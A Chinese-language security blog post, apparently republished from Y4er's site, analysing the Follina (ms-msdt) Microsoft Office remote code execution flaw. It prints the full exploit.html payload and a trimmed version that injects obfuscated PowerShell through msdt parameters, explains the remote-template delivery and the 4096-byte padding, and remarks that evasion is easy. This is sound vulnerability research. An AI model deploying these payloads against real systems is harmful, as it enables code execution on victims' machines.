作者:Y4er
原文鏈接:https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/

前言

看推特發了一個好玩的office rce。最早應該是起源于nao_sec的推特

然后又發現了一篇分析文章。

https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e

接著poc也有了 https://github.com/chvancooten/follina.py

本文依托于poc看一下這個office rce

分析

python .\follina.py -m command -c calc

1.png

查看python源碼,邏輯是向word\_rels\document.xml.rels寫一個遠程模板地址

2.png

釣過魚的都知道這個是遠程模板,接著會寫入一個www\exploit.html,這個文件中的關鍵代碼只有一行js

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";

跳了一個ms-msdt:/偽協議,ms系列是office注冊的協議,你可以在設置-應用-默認應用-按協議指定默認應用中找到對應的偽協議和所啟動的應用。

3.png

ms-msdt協議沒在這里找到,可以從注冊表中找到

4.png

command是"%SystemRoot%\system32\msdt.exe" %1

5.png

msdt.exe 是微軟支持診斷工具,微軟對其有官方文檔

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt

參數如圖

6.png

此時回頭來看exploit.html,其命令如下

msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

/id PCWDiagnostic表示運行PCWDiagnostic診斷包,除此以外還有其他的診斷包

C:\Windows\diagnostics\index

7.png

對應的程序目錄在C:\Windows\diagnostics\system

8.png

不同的診斷包兼容性不一樣,具體兼容版本看微軟文檔 available-troubleshooting-packs

/skip force文檔沒提,不過實際測試加不加都可以彈計算器,字面意思應該是強制跳過,無所謂,而且IT_RebrowseForFile不加也可以,所以精簡下來的payload如下

/param "IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

這部分通過param參數應該是繼續向運行PCWDiagnostic診斷包時傳遞了三個參數

  1. IT_RebrowseForFile
  2. IT_LaunchMethod
  3. IT_BrowseForFile

這三個參數我在下面兩個鏈接中搜到了一些東西

  1. https://lolbas-project.github.io/lolbas/Binaries/Msdt/
  2. https://gist.github.com/homjxi0e/3f35212db81b9375b7906031a40c6d87

應該是通過這幾個參數可以運行msi程序,但是具體怎么實現的?

這里需要引入微軟文檔《Writing a Troubleshooting Manifest》

回頭看PCWDiagnostic,對應的診斷包程序位于C:\Windows\diagnostics\system\PCW

9.png

其中DiagPackage.diagpkg是manifest文件,這些在文檔中有。

10.png

翻譯過來:該部分表示要在故障排除階段運行的腳本

在Interactions塊中是程序交互的參數

11.png

其中我們用到的IT_BrowseForFile也在其中

12.png

manifest中指定的powershell程序是

13.png

C:\Windows\diagnostics\system\PCW\TS_ProgramCompatibilityWizard.ps1

此時回頭來看payload

14.png

代碼高亮已經給出答案,當調用ps1腳本時

$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))

這段代碼會逃逸出來被powershell執行,造成rce。

拓展

本著探索精神,想著自己也挖一挖這種洞,于是找了一些其他的偽協議,也就是上文中的ms-officecmd,于是發現了一個dotnet的LocalBridge.exe

15.png

經過處理json之后調用LaunchOfficeAppValidated,像是可以運行驗證過后的程序。

16.png

發現用到了pinvoke調用dll

17.png

剛找好兄弟要了一個ida,下載的過程中在搜索ms-officecmd關鍵字,發現了前人寫的文章

  1. Abusing the MS Office protocol scheme
  2. Windows 10 RCE: The exploit is in the link

兩篇文章記錄了msoffice協議相關的知識以及通過ms-officecmd協議挖掘Teams、Skype的1click的rce chain,值得一學,但是我進一步挖掘的熱情被他們的rce澆滅了。

就這樣吧。

后文

通過遠程模板location.href跳轉的形式,可以拉取msdt調用powershell執行命令,并且繞過了啟用編輯這一大限制,總體來說還是比較牛逼的。

因為參數很多,所以免殺相對好做,防御的話我不是專業的就不說了。


補充:exploit.html需要填充4096垃圾字符,因為在< https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/ >這個文章中分析了會先讀取4096緩沖區。

18.png

文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1911/